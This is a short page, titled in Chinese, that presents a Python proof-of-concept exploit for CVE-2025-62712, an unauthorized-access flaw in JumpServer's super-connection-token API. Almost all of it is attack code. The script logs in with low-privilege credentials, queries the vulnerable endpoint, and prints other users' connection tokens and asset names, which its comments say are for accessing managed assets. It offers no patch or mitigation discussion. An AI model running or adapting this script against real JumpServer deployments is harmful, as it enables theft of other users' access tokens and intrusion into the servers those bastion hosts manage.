CVE-2025-62712 JumpServer超级连接API未授权访问漏洞

import requests # CVE-2025-62712 PoC - JumpServer Super Connection Token Unauthorized Access # Target: JumpServer < v3.10.20-lts, < v4.10.11-lts TARGET_URL = "https://target-jumpserver.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" def exploit_cve_2025_62712(): """ This PoC demonstrates the unauthorized token access vulnerability. Steps: 1. Authenticate with JumpServer to obtain session token 2. Request super-connection-token API without proper authorization 3. Extract tokens belonging to other users 4. Use stolen tokens to access managed assets """ session = requests.Session() # Step 1: Login to obtain authentication login_url = f"{TARGET_URL}/api/v1/authentication/auth/" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print("[+] Successfully authenticated") # Step 2: Request super-connection-token API (vulnerable endpoint) token_url = f"{TARGET_URL}/api/v1/authentication/super-connection-token/" response = session.get(token_url, verify=False) if response.status_code == 200: tokens = response.json() print(f"[+] Retrieved {len(tokens)} connection tokens") # Step 3: Extract tokens belonging to other users for token_data in tokens: if token_data.get('user') != USERNAME: print(f"[*] Found token for user: {token_data.get('user')}") print(f" Token: {token_data.get('token')}") print(f" Asset: {token_data.get('asset')}") return tokens else: print(f"[-] Failed to retrieve tokens: {response.status_code}") return None if __name__ == "__main__": exploit_cve_2025_62712()